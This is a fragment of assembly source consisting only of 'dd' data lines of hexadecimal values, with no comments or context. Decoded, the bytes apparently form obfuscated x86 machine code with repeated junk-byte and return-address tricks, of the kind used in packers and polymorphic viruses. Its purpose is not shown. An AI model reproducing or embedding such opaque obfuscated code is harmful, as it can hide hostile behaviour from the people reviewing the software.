		dd 17042444h, 46000000h, 0DCB3C356h, 0B70FBB9Ah, 0F5BD8BF1h
		dd 8D06AC1Dh, 0AF8B809Dh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 39203155h
		dd 5DBD89C0h, 0FF06AC0Bh, 66F78BD3h, 0FF1083BEh, 0AC337585h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 670B07A1h, 8160A1FFh, 1B79EFD9h,	0E9958B00h
		dd 6106AC24h, 721E9F9h,	0E80000h, 5D000000h, 0E47FED81h
		dd 0BD0B06AFh, 6AC09C1h, 1C9DBD81h, 7D006ACh, 860F0000h
		dd 158h, 8BFABF0Fh, 0AC085D9Dh,	57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0E38171h, 6A000001h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 8EB7C356h, 0F6AA5D8h, 980h, 31F86000h, 0AC258185h
		dd 8B0F6106h, 1, 0FDB0BF9h, 0A385h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 8BE4163Ah
		dd 0AC23ADB5h, 33BD8306h, 6AFE2h, 24840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 7FE9A5C3h, 0F000000h, 85C7F2B7h
		dd 6AFE233h, 1,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	0F3C35747h, 0E9F18BD7h,	4Eh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 74C35545h, 0B890376Bh, 0E23385C7h
		dd 6AFh, 6A0000h, 3E850h, 58200000h, 448958C3h,	44810424h
		dd 1C0424h, 50400000h, 6D2728C3h, 5D56EC79h, 9D8D286Ch
		dd 6AC085Dh, 2991B58Bh,	238106ACh, 0FFFFFEFFh, 2469B58Bh
		dd 0BD2306ACh, 6AC0A6Dh, 0F6DB8C66h, 840F04C3h,	26h, 28BFF88Bh
		dd 0FF31DF4Ah, 0AC013595h, 4DB58B06h, 9006AC0Bh, 8B36F6BFh
		dd 1EBF504Ch, 904800C8h, 0A99B589h, 0A7E906ACh,	89000003h
		dd 0AC201D8Dh, 0DB58906h, 0B006AC12h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 0BE70E6A1h, 0C87C03h, 0BD2971E4h, 6AC1FEDh, 6AD8B60Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0EE12C353h, 28F6EFF0h, 0FADB8C59h, 0E2B271BEh
		dd 6BA6Ch, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0AA6492C3h, 885BD0Bh, 870F06ACh
		dd 6, 8E0Fh, 0C38B0000h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 80C35141h, 76532CB6h,	0DAFC1FE6h, 998D8972h
		dd 0BF06AC1Fh, 73C4B19h, 6A04E8C1h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 66BFC355h
		dd 0D82BE2F7h, 7DDCBE66h, 50F18B93h, 7E8h, 0C9E5A900h
		dd 5841C7EAh, 0D0D32CBEh, 8B935F2Ah, 0AC0059BDh, 9DB5FF06h
		dd 6A06AC1Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 6085C356h, 8BD98B66h, 0AC20F58Dh
		dd 95FF6106h, 6AC2145h,	95AA5BBEh, 0F00B07Dh, 8Dh, 70E6FC00h
		dd 2A9DB58Bh, 71E406ACh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0B0C35141h, 1FC6DBB8h, 0BC63F9Ch, 3CFEB70Fh
		dd 1B830F61h, 0B000002h, 0AC0B4DBDh, 0D8B60F06h, 6BAFE8Bh
		dd 66000000h, 8BBE92BFh, 0F2B70FC3h, 8B04E8C1h,	0AC3255B5h
		dd 0E2F76606h, 0ACEF8166h, 6AD82B15h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0A973C356h
		dd 13E993F4h, 0E5000000h, 17644588h, 6B3423CFh,	5BB67977h
		dd 0E7D7A627h, 6A58E3F8h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 7FD9C353h, 0E9858B60h
		dd 8106AC1Dh, 0B0CEB8D7h, 0D82B615Fh, 184880Fh,	6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0E90AD1C3h, 0Dh, 33935010h, 1A1EFD62h, 0CA0B6CA6h, 0F7BF0F4Dh
		dd 7B9h, 35858900h, 106AC15h, 0AC20E59Dh, 0C18306h, 7BDF8166h
		dd 5DBD8BE5h, 3B06AC31h, 2B860FD9h, 6A000001h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 4D3FC350h, 28A9BD8Bh, 8C6606ACh, 56006AD9h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 4D751E1Eh
		dd 0E1BEBF43h, 0F67FD6A4h, 840F04C1h, 0B0h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 42C35242h, 0FC79DD7Ah
		dd 0FF3DEBECh, 0AC013595h, 6A5BF506h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0D50DC356h
		dd 478A229Fh, 10CBDF3h,	0AC2A9DB5h, 0A1850106h,	2B06AC27h
		dd 0CE8166C3h, 13E97332h, 29000000h, 361445F8h,	26EA8E39h
		dd 11FEAB0Eh, 0E2DDD86h, 343DA760h, 0F000008h, 2B86h, 0BE95000h
		dd 5000000h, 9F8AEA9Ah,	4F37C041h, 0E95F3095h, 3Ah, 0FE9h
		dd 0A0C7A300h, 0A3565A01h, 0F52EF7E3h, 0C0DA3AAEh, 6AC08Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0F179C8C3h, 942EDE81h, 0C38B2848h, 6AD88Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0F5F8CFC3h, 0EE1BD8Bh, 85C706ACh, 6AC3365h, 1FB52DFDh
		dd 13D58589h, 8B6606ACh, 8BC08BFBh, 9FBF66F1h, 9DBD81DDh
		dd 0D006AC1Ch, 0F000007h, 3985h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 74F88278h
		dd 5E981h, 0C3520000h, 89D5784Bh, 0AC238195h, 9D85FF06h
		dd 0F06AC1Ch, 0B5FFF8B7h, 6AC1C9Dh, 4870Fh, 0BE660000h
		dd 95FFB5ECh, 6AC2145h,	10F9BD2Bh, 0BE6606ACh, 0F904E79h
		dd 6AF2B7h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 510994C3h, 0A7DE8166h, 56F08BC2h,	46DE8166h
		dd 9E85Ah, 5D470000h, 6F792E93h, 89C2BAA8h, 0AC354D9Dh
		dd 8B5E5F06h, 29BD8BFAh, 6A06AC05h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0E077C355h
		dd 0BEEA1979h, 6BE262C3h, 8860Fh, 81500000h, 0A2FCD7C7h
		dd 0B5895E17h, 6AC32D1h, 8E8h, 0EDC16300h, 37113154h, 95858966h
		dd 5F06AC00h, 0F1D68166h, 6AFCDCh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 81F5CFC3h, 743279D7h
		dd 52006A58h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0D9FB8E78h, 12E95Fh, 16CC0000h, 0A17FBE96h
		dd 2101497Dh, 8921359Dh, 0B71E1056h, 655B589h, 0B70F06ACh
		dd 68D0FF3h, 89000000h,	0AC191D85h, 0F8E8E906h,	0BE66FFFFh
		dd 0E3BEF9C8h, 8B131E2Ch, 51006AC1h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 6B725F94h
		dd 4800F45h, 66000000h,	0F734ABEh, 0C8Bh, 6840F00h, 89000000h
		dd 0AC1E09B5h, 4EB06h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0BEFC353h
		dd 0BF0F010Fh, 7E8FBh, 3A430000h, 2E21409Dh, 0FD95897Fh
		dd 5E06AC09h, 2741858Dh, 6A06ACh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0AB3D2AC3h, 0FCA8A47h
		dd 8D89FBBFh, 6AC25F9h,	0BE505090h, 49A8E449h, 6A905Fh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0BC02A2C3h, 0A78BD844h, 6AAF87h, 21119529h, 6A06ACh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0A0C35545h
		dd 0B1D03522h, 0BF664F06h, 0B58B438Bh, 6AC1941h, 0ED7B858Dh
		dd 6A06AFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 6660FFC3h, 2BCC68BAh, 0AC241DB5h,	0C0836106h
		dd 0F3B70F05h, 6C69BE66h, 8A0F50h, 89000000h, 0BF0F2404h
		dd 658589F2h, 6A06AC0Bh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 89006A3Bh, 0AC2D899Dh
		dd 0F995FF06h, 6A06AC0Ah, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0B13C355h, 0CEA2D2C3h
		dd 809D8D35h, 0F806AF8Bh, 6AD3FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h
		dd 1D0424h, 51410000h, 9615C4C3h, 0B658C2F3h, 0FF7346F4h
		dd 0AC337585h, 85BD8B06h, 0E906AC10h, 7DAh, 0E8h, 0ED815D00h
		dd 6AFED85h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	35C35747h, 0B231574Eh, 10E9BD8Bh, 0BD8106ACh, 6AC1C9Dh
		dd 7D0h, 123860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 986D74C3h, 0BE660CA2h
		dd 9D8B381Bh, 6AC052Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 9DC35040h, 0F44D8CEBh, 51BD8BD7h, 8B06AC28h
		dd 0AC1AC9B5h, 0E38106h, 6A000001h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 2460C353h
		dd 43AB19A8h, 9D31A37Dh, 6AC33A5h, 850FDB0Bh, 60h, 0FD98D89h
		dd 0BD8306ACh, 6AFEBDBh, 5840F00h, 0E9000000h, 63h, 0EBDB85C7h
		dd 106AFh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0A39068C3h, 0AFFBBF66h, 0D890Fh
		dd 8E90000h, 0A5000000h, 6CA74A23h, 0E94D3C1Ah,	1Fh, 8150BE66h
		dd 0EBDB85C7h, 6AFh, 8D0F0000h,	6, 27E9B58Bh, 816606ACh
		dd 8DFDE2DEh, 0AC052D9Dh, 45BD0306h, 8106AC1Eh,	0FFFEFF23h
		dd 0B50357FFh, 6AC1C5Dh, 0DB8C665Fh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 14C35141h, 19589E2h, 8B06AC0Ah
		dd 0AC1779B5h, 4C3F606h, 8F840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 230DE4C3h
		dd 0FF6C16F2h, 0AC013595h, 12E906h, 1AEC0000h, 0A80F3CBCh
		dd 2D2356DAh, 3726E5C4h, 5B71C665h, 0ABBF6690h,	5250506Dh
		dd 12E8h, 7BA9D000h, 2A467D8Ch,	4E014CF8h, 0E27EE82Bh
		dd 8BFFAC69h, 310F5EFEh, 0CEF219BEh, 90585A6Eh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C2C35545h, 1EDB709Ch
		dd 0DB6B2868h, 3E9E98Bh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0DFAF9EC3h, 0B025F5h
		dd 81F38B66h, 0F885BACFh, 370E610h, 0AC0FE1BDh,	6A71E406h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 93CC350h,	0BE9E6129h, 229A8C2Fh, 1CB9BD8Bh
		dd 8D8906ACh, 6AC0A39h,	6AD8B60Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 6650C356h
		dd 2D8FD053h, 8E07AEB8h, 26C78166h, 6BA9Dh, 6E90000h, 73000000h
		dd 23D188F1h, 66C38BD6h, 0E8C1FE8Bh, 56006A04h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0EEC2E1C3h
		dd 0AED6EEA0h, 0F1B70FD5h, 3109B58Bh, 0F76606ACh, 50006AE2h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 2B745B2Dh, 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 40DE0CB8h, 0F59D0956h, 5E06AC33h
		dd 8CDFBE50h, 1C8922F3h, 0F5B58B24h, 0FF06AC1Ah, 0AC1C9DB5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0BBE1DA65h, 95FF2C2Dh, 6AC2145h,	0B959589h
		dd 0B006ACh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	75C35646h, 2493B344h, 0EDB58B3Dh, 0E606AC13h, 50006A70h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 3577C700h, 1CB9BD03h, 71E406ACh, 1425BD0Bh, 613C06ACh
		dd 225830Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 5AD058C3h, 0BF0FC2BFh, 0D8B60FF0h
		dd 6E8h, 649A5700h, 0E91C2B32h,	9, 3D38542Eh, 831B8121h
		dd 6BA5EC5h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 6FE9C351h, 0B58B4CD8h
		dd 6AC2725h, 9D01C38Bh,	6AC073Dh, 6A04E8C1h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0F1D4C356h, 8D89DBABh, 6AC1085h, 0CB8A6056h,	0F7665E61h
		dd 98D29E2h, 2B06AC35h,	51006AD8h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0E5202D67h, 0E043608Ah
		dd 8B66DA15h, 12E858F3h, 48000000h, 734BACD5h, 0B0F9D613h
		dd 12F6C979h, 57428EC1h, 605EF955h, 68A0Fh, 8E0F0000h
		dd 0
		dd 0FD82B61h, 12288h, 91BD8B00h, 0B906AC26h, 7,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 8C35040h, 0DD8D0FC7h
		dd 1E999D89h, 880F06ACh, 6, 33E9B58Bh, 0C18306ACh, 0F28B6600h
		dd 860FD93Bh, 0D7h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0F3C35747h, 8C668E04h, 51006AD9h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 0F6F78BCFh, 840F04C1h, 60h, 709B503h, 0B70F06ACh, 3595FFFFh
		dd 6006AC01h, 68B0Fh, 858B0000h, 6AC304Dh, 6153E480h, 5BF2B70Fh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 85C35242h
		dd 0F15B529h, 0F08B06ACh, 0B58BC32Bh, 6AC3139h,	8343Dh
		dd 5860F00h, 0E9000000h, 2Fh, 6AC08Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 61C8D0C3h
		dd 0AE9h, 46496800h, 687FAFBEh,	8BC69E73h, 0F8D88BC3h
		dd 85D85C7h, 29D906ACh,	0BD89395Dh, 6AC27C1h, 81F8C08Bh
		dd 0AC1C9DBDh, 7D006h, 32850F00h, 0FF000000h, 0AC1C9D85h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 0E8DC3AA0h, 5, 3245E60Ch, 0F18B6642h, 9DB5FF5Eh
		dd 0F06AC1Ch, 885h, 0BD8B5700h,	6AC1DE5h, 4595FF5Eh, 6A06AC21h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0E399C355h, 6A90E5h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 95B005C3h, 0F37003Bh
		dd 6A977Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0BF144CC3h, 51006A5Ch, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0CAD34110h
		dd 561B58Bh, 0E86006ACh, 8, 76F2432Ah, 0E37B8607h, 6158EE8Ah
		dd 11259D29h, 0BD8B06ACh, 6AC2EC9h, 68F0Fh, 0B58B0000h
		dd 6AC28E1h, 2B9ABE66h,	6AF1B70Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0E866C356h
		dd 9D8923D3h, 6AC1F79h,	14E8h, 0B6E6AF00h, 0EDCC923Ah
		dd 0A3F3071h, 0C00A6A83h, 0F5BFC366h, 6DB58905h, 5E06AC0Ah
		dd 0CE8h, 9B258D00h, 0E7C19DD5h, 3994BC32h, 2DB50B4Ch
		dd 5E06AC06h, 0B5958B60h, 8B06AC31h, 0AC0831B5h, 0ED858906h
		dd 6106AC2Ah, 0FFF847E9h, 50006AFFh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 8FBC7BF9h
		dd 0C18B0959h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0FBC35343h, 0D59D81CBh,	4EBh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0D293C1C3h, 0E00DFBD2h, 6022137Fh, 35159D89h, 8D8906ACh
		dd 6AC1959h, 0D1852961h, 6A06AC0Eh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0F757C350h
		dd 8B4F1812h, 0AC2799B5h, 41858D06h, 6A06AC27h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 3F3BC356h, 8BF35E6Fh, 0AC01A1BDh, 8820F06h, 0F000000h
		dd 284h, 505E5600h, 0FA8B6651h,	2404895Fh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 87C35747h, 0C18A4C4Bh
		dd 6A859856h, 2810F00h,	8B000000h, 6A006AF3h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0ABFFC350h, 6DE5AB9h, 8DF845AEh, 0AFF76985h,	28F0F06h
		dd 8B000000h, 5C083FBh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 85C35747h, 0A6E7B529h, 85293117h, 6AC3235h
		dd 5FBE6690h, 8B6650E0h, 0BF0F90FEh, 6A006AF1h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 151BC353h, 0EAABBA23h, 0F26F6351h, 99B58BFCh, 6A06AC26h
		dd 6810F00h, 9000000h, 0AC0FADBDh, 61BD0B06h, 0FF06AC05h
		dd 0AC0AF995h, 1DBD0906h, 6606AC32h, 9D8DF98Bh,	6AF8B80h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 51C35242h
		dd 0C1C92AD1h, 4622C31Bh, 8E8h,	5E9E7B00h, 0DC03236Ch
		dd 6160574Ah, 0D3FF5E5Fh, 0BE8h, 298D2300h, 3D6C60CDh
		dd 0D863ACCDh, 7585FF5Fh, 8906AC33h, 0AC10FD9Dh, 752E906h
		dd 0E80000h, 5D000000h,	0F773ED81h, 6A06AFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0EC00CAC3h
		dd 9E521DAFh, 85019917h, 6AC1B79h, 31A560BEh, 9DBD815Dh
		dd 0D006AC1Ch, 0F000007h, 0E186h, 8E800h, 2E10000h, 72B57239h
		dd 0BF6654F9h, 8B5F1A20h, 0AC13AD9Dh, 0E38106h,	6A000001h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0C442C356h, 0BE6650C0h, 0DB0B284Dh, 59850Fh
		dd 8D310000h, 6AC1C71h,	0F57EBD83h, 0F0006AFh, 2E84h, 398D8900h
		dd 0E906AC08h, 68h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 1DC35242h, 53185641h,	0C7F88B66h, 0AFF57E85h
		dd 106h, 0B59D0100h, 6606AC32h,	2DE9FB8Bh, 0C7000000h
		dd 0AFF57E85h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0B58B91F8h, 6AC148Dh
		dd 13AD9D8Dh, 238106ACh, 0FFFFFEFFh, 67DBD8Bh, 8C6606ACh
		dd 58E0FDBh, 66000000h,	43CD681h, 0F04C3F6h, 8784h, 3D952900h
		dd 8906AC01h, 0AC2E7595h, 3595FF06h, 6A06AC01h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0C8B9C355h, 0C5204D80h, 8166B57Eh, 5039FEF6h, 12890Fh
		dd 0AE80000h, 22000000h, 911B7F18h, 0E899F52Bh,	5EF98BACh
		dd 6A240489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0CC1FC353h, 0FA60A48h,	0B8Bh
		dd 0D4806000h, 0DD9D8997h, 6106AC05h, 399E9h, 99958900h
		dd 0B006AC26h, 15BD8900h, 0E606AC1Ah, 53006A70h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 47C9B8DEh, 627B5788h, 0F7BF0F35h, 10AD9501h,	71E406ACh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 5EC35141h
		dd 43B0C371h, 8BE1C3B0h, 0D8B60FF0h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 7DC35242h, 24FD72BEh, 6BA6Eh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0B7CFEBC3h, 0F138E895h, 0BF0F2047h, 0BFC38BF3h
		dd 1B0E0F33h, 0F04E8C1h, 68Ch, 8E0F00h,	8B000000h, 0E2F766F8h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 24C35343h
		dd 8B350C25h, 0AC10D5B5h, 0C7BF6606h, 6AD82B3Fh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 6384C353h, 572723B0h, 82EF8166h, 91BF5E40h, 5033FFE3h
		dd 1C89FA8Bh, 0D5BD8B24h
		dd 0FF06AC0Dh, 0AC1C9DB5h, 4595FF06h, 2906AC21h, 0AC32D985h
		dd 6A00B006h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0DB9C351h, 0E6949DA6h,	0E9BD8B70h
		dd 0E406AC08h, 51006A71h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 353DE431h, 613C3E41h
		dd 200830Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 54A55AC3h, 0F605BC9h, 682h, 0F5C18100h
		dd 526CD84Ah, 0BD58589h, 615E06ACh, 0FD8B60Fh, 58Dh, 6D40BE00h
		dd 6BA14D1h, 66000000h,	0B50BF18Bh, 6AC1DFDh, 0B589C38Bh
		dd 6AC19D5h, 0F04E8C1h,	0B88h, 58D0F00h, 0BF000000h, 58C109CDh
		dd 0FE2F766h, 686h, 0F5852900h,	8B06AC21h, 6AD82BFBh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 362FC356h, 8DD03B2h,	0CE81669Ah, 89607BEFh, 0AC274D8Dh
		dd 85095006h, 6AC0125h,	29586159h, 0AC2EA5B5h, 0FD82B06h
		dd 13988h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0C5085EE2h, 0EC52CBD6h, 0FE955E1h
		dd 0F4000000h, 52719F7Ah, 0BADB4C2Ah, 881E7B33h, 0BD8B3CD4h
		dd 6AC2245h, 7B9h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 71DB19B8h, 68DF8156h
		dd 8356BFE1h, 5F5000C1h, 860FD93Bh, 0C2h, 21C18D89h, 8C6606ACh
		dd 53006AD9h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 2FAC39B4h, 0B2FFE26Ch, 99D3152h,	0F606AC13h
		dd 840F04C1h, 7Eh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 0DBC35040h, 29498D89h, 95FF06ACh, 6AC0135h
		dd 5BFB8B66h, 0AE9h, 13A28900h,	8D5D1177h, 2BBF0AB3h, 343DFCC3h
		dd 0F000008h, 3586h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0BB4F5D4Bh, 52B14D43h
		dd 1471B58Bh, 0E95F06ACh, 0Eh, 5C19D89h, 0C08B06ACh, 0C859529h
		dd 0C38B06ACh, 6AD88Bh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 795266C3h, 42EE943Bh, 2D85C777h
		dd 7506AC05h, 0E83423E5h, 5, 0E6E384ACh, 49B533E2h, 5F06AC08h
		dd 0BD81C08Bh, 6AC1C9Dh, 7D0h, 2E850Fh,	6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0B529E9C3h, 6AC0DFDh, 1C9D85FFh, 0B58906ACh,	6AC0701h
		dd 1C9DB5FFh, 6A06ACh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 32EB3BC3h, 95FFD278h, 6AC2145h
		dd 9E9h, 0CE661500h, 9E40B4B1h,	0E9906435h, 7, 0D8210239h
		dd 6A8C20FEh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 152C351h, 0AC01499Dh, 2960FC06h
		dd 0AC1139BDh, 0E7816606h, 7BB3E85Ah, 0FB8BF561h, 3D8D09h
		dd 6A06ACh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0ED1127C3h, 95893F64h, 6AC1FF5h, 1EC1B58Bh
		dd 0BF6606ACh, 0BD8B9773h, 6AC34D1h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 3CC35040h, 75F9D56Fh, 0A656974Eh
		dd 0E31BD29h, 6A06ACh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 486A09C3h, 60E4B648h, 0A1BA66F5h
		dd 870F616Bh, 5, 0E5E242BFh, 55006A24h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 4580902Fh
		dd 0F6A482Ch, 118Ah, 0A0B9BE00h, 8D0F73B2h, 6, 2621BD8Bh
		dd 0C3E906ACh, 0E9FFFFF8h, 10h,	55183889h, 5BE0C92Bh, 7101F939h
		dd 7FF3C99Ch, 8166C18Bh, 0EB3952E6h, 4,	958D8900h, 6A06AC05h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 16D5C355h, 88A0F6Dh, 51000000h, 820Fh, 895E0000h
		dd 0AC00B995h, 41858D06h, 6A06AC27h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 37F6C350h
		dd 0EC3325B5h, 4895070h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 8C4CF594h, 0CAA931FCh
		dd 31858933h, 6A06AC02h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0BD9D8951h, 0BF06AC25h
		dd 1AE19AACh, 858D006Ah, 6B0006Ch, 0AA19D89h, 0B58B06ACh
		dd 6AC153Dh, 0F05C083h,	682h, 0ADBD8B00h, 9006AC1Ah, 0FEF0BF66h
